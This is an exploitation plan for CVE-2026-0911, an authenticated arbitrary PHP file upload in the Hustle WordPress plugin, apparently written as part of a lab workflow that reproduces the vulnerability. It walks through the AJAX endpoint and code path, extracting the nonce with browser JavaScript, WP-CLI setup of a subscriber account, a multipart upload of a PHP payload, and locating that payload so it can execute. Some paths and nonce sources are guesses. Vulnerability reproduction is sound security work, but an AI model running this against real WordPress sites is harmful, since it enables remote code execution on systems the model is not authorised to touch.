Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload

1. Vulnerability Summary

The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin (<= 7.8.9.2) is vulnerable to an Authenticated Arbitrary File Upload via the module import functionality. The vulnerability resides in the action_import_module() function, which is reachable through a common AJAX handler. The function fails to adequately validate the file extension or MIME type of uploaded files during the import process. If a low-privileged user (Subscriber+) is granted permissions to manage Hustle modules, they can upload a malicious .php file, potentially leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: hustle_module_handle_single_action
• Vulnerable Function: action_import_module() (called dynamically by handle_single_action())
• Authentication Required: Subscriber-level (or higher) with the hustle_edit_module or hustle_create capability granted via Hustle settings.
• Preconditions:
  1. The attacker must have a Subscriber account.
  2. An administrator must have enabled "Permissions" for the Subscriber role in Hustle > Settings > General > Permissions.
  3. The attacker must obtain a valid AJAX nonce for the hustle_module_single_action0 action (for new imports).

3. Code Flow

1. Entry Point: The client sends a POST request to admin-ajax.php with action=hustle_module_handle_single_action.
2. Route Handling: In inc/hustle-modules-common-admin-ajax.php, the handle_single_action() method is executed.
3. Nonce Verification: The code calls Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id ). If $id is 0 (for a new import), it checks the nonce against the action hustle_module_single_action0.
4. Method Dispatch: The code retrieves the module_action parameter (expected to be import_module) and constructs the method name action_import_module.
5. Vulnerable Sink: action_import_module() is called. This function (located in the truncated portion of inc/hustle-modules-common-admin-ajax.php) processes $_FILES['hustle_import_file']. It likely uses wp_handle_upload() or a similar function with insufficient restrictions on the test_type or allowed extensions, allowing .php files to be saved to the wp-content/uploads/hustle/ or wp-content/uploads/hustle-imports/ directory.

4. Nonce Acquisition Strategy

The nonce is localized in the WordPress admin head within the optinVars JavaScript object.

1. Grant Permissions: Using WP-CLI, grant the Subscriber role the necessary Hustle capabilities to ensure the Hustle menu and scripts are loaded for them.
2. Navigate to Listing: Access the Popups listing page: /wp-admin/admin.php?page=hustle_popup.
3. Extract Nonce: Use browser_eval to extract the nonce from the global optinVars object.
   • JavaScript: window.optinVars?.current?.module_nonce
   • Alternative: If specific to the action, the nonce might be found in window.optinVars?.current?.save_settings_nonce.

5. Exploitation Strategy

Step 1: User and Permissions Setup

Create a Subscriber user and grant permissions via WP-CLI.

wp user create attacker attacker@example.com --role=subscriber --user_pass=password
# Hustle capabilities are usually managed via an option, but we can add them to the role
wp cap add subscriber hustle_create
wp cap add subscriber hustle_edit_module

Step 2: Obtain Nonce

1. Login to the WordPress admin as the Subscriber.
2. Navigate to admin.php?page=hustle_popup.
3. Execute browser_eval("window.optinVars.current.module_nonce") to get the nonce.

Step 3: Perform File Upload

Send a multipart POST request to admin-ajax.php.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: multipart/form-data
• Parameters:
  • action: hustle_module_handle_single_action
  • module_action: import_module
  • id: 0
  • nonce: [EXTRACTED_NONCE]
  • hustle_import_file: (Binary data of exploit.php)

Payload (exploit.php):

<?php
echo "HUSTLE_UPLOAD_SUCCESS";
phpinfo();
?>

Step 4: Locate and Execute

The file is likely uploaded to /wp-content/uploads/hustle/ or /wp-content/uploads/hustle-imports/.
Test common paths:

1. http://localhost:8080/wp-content/uploads/hustle/exploit.php
2. http://localhost:8080/wp-content/uploads/hustle-imports/exploit.php

6. Test Data Setup

1. Plugin Version: Ensure Hustle version <= 7.8.9.2 is installed.
2. User: A user with role subscriber.
3. Hustle Settings: (Optional) If the capabilities check is strictly tied to plugin options rather than WP capabilities, use wp option get hustle_settings to find permission keys and set them via wp option patch.

7. Expected Results

• The AJAX request should return a success: true response or a JSON response indicating the file was processed.
• Accessing the shell URL directly should execute the PHP code and return "HUSTLE_UPLOAD_SUCCESS" and the phpinfo output.

8. Verification Steps

1. Check Filesystem: ls -R /var/www/html/wp-content/uploads/ | grep exploit.php
2. Verify Execution: Use http_request to GET the uploaded file path and check for the string HUSTLE_UPLOAD_SUCCESS.

9. Alternative Approaches

If module_nonce is invalid for the import_module method, check for the nonce inside the "Import" modal in the DOM.

1. Navigate to Popups listing.
2. Click the "Import" button.
3. Inspect the hidden nonce field in the modal:
   • browser_eval("document.querySelector('#hustle-dialog--import input[name=nonce]')?.value")
   • browser_eval("document.querySelector('#hustle-dialog--import-module-submit-button')?.getAttribute('data-nonce')")